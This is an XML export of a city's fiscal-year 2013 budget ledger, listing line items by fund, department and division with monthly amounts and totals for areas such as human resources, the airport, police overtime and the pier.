<row _id="1745"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1219.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1219.0</total></row>
<row _id="1746"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4613.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4613.0</total></row>
<row _id="1747"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>27000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27000.0</total></row>
<row _id="1748"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10995.0</july><august>0</august><september>0.0</september><october>-222.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10773.0</total></row>
<row _id="1749"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4627.0</july><august>0</august><september>0.0</september><october>10.0</october><november>0</november><december>0</december><january>0.0</january><february>46</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4683.0</total></row>
<row _id="1750"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>708.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>696.0</total></row>
<row _id="1751"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72000.0</total></row>
<row _id="1752"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555850.0</object><object_description>PROGRAM SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="1753"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>570230.0</object><object_description>FIRE HERITAGE GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2718.0</july><august>0</august><september>0.0</september><october>-2718.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1754"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6446.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>499</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6945.0</total></row>
<row _id="1755"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="1756"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-4141031.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>350135</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3790896.0</total></row>
<row _id="1757"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="1758"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10351.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-687</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9664.0</total></row>
<row _id="1759"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>835.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>833.0</total></row>
<row _id="1760"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>105509.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>105509.0</total></row>
<row _id="1761"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522510.0</object><object_description>COMMUNITY OUTREACH</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>18870.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>18870.0</total></row>
<row _id="1762"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>577220.0</object><object_description>INTRST EXP-BONDS &amp; OTHR LOANS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>265200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>264970</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>530170.0</total></row>
<row _id="1763"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>588200.0</object><object_description>BLDG RENOVATION / MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>61200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>61200.0</total></row>
<row _id="1764"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407890.0</object><object_description>POLYSTYRENE BAN</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-500.0</total></row>
<row _id="1765"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10679.0</july><august>0</august><september>0.0</september><october>-489.0</october><november>0</november><december>0</december><january>0.0</january><february>102</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10292.0</total></row>
<row _id="1766"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>55</fund_id><fund_name>Info Tech Rplcmnt &amp; Svcs Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>402660.0</object><object_description>FUTURE REPLACEMENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1519711.0</july><august>0</august><september>0.0</september><october>-3914.6</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1523625.6</total></row>
<row _id="1767"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>626</division_id><division_name>PIER DIVISION</division_name><object>401830.0</object><object_description>VENDOR RENT</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-234116.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-234116.0</total></row>
<row _id="1768"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>500.0</total></row>
<row _id="1769"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6120.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6113.0</total></row>
<row _id="1770"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>127775.0</july><august>0</august><september>0.0</september><october>-47.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>127728.0</total></row>
<row _id="1771"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3263.0</july><august>0</august><september>0.0</september><october>75.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3338.0</total></row>
<row _id="1772"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>309.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>309.0</total></row>
<row _id="1773"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2598.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2624.0</total></row>
<row _id="1774"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1002052.0</july><august>0</august><september>0.0</september><october>-10519.0</october><november>0</november><december>0</december><january>0.0</january><february>9939</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1001472.0</total></row>
<row _id="1775"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-122088.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-122088.0</total></row>
<row _id="1776"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>53</fund_id><fund_name>Parks and Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>514</division_id><division_name>OPEN SPACE MANAGEMENT</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2013</fiscal_year><july>-1000.0</july><august>0</august><september>1000.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="1777"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>815.0</july><august>0</august><september>0.0</september><october>-7.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>808.0</total></row>
<row _id="1778"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>52976.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>52976.0</total></row>
<row _id="1779"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>39200.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>39200.0</total></row>
<row _id="1780"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407861.0</object><object_description>VENDING MACH SALES-VAP</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-1300.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1300.0</total></row>
<row _id="1781"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8512.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>909</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9421.0</total></row>
<row _id="1782"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402120.0</object><object_description>AIRPORT - OFFICE / SHOP RENTAL</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-606805.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-606805.0</total></row>
<row _id="1783"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17430.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>174</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17604.0</total></row>
<row _id="1784"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1783.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1783.0</total></row>
<row _id="1785"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>5775.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5775.0</total></row>
<row _id="1786"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>435173.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>435173.0</total></row>
<row _id="1787"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="1788"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7553.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7553.0</total></row>
<row _id="1789"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1140.0</july><august>0</august><september>0.0</september><october>-72.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1068.0</total></row>
<row _id="1790"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2498.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2498.0</total></row>
<row _id="1791"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6464.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-569</february><march>0.0</march><april>121</april><may>0</may><june>0.0</june><total>6016.0</total></row>
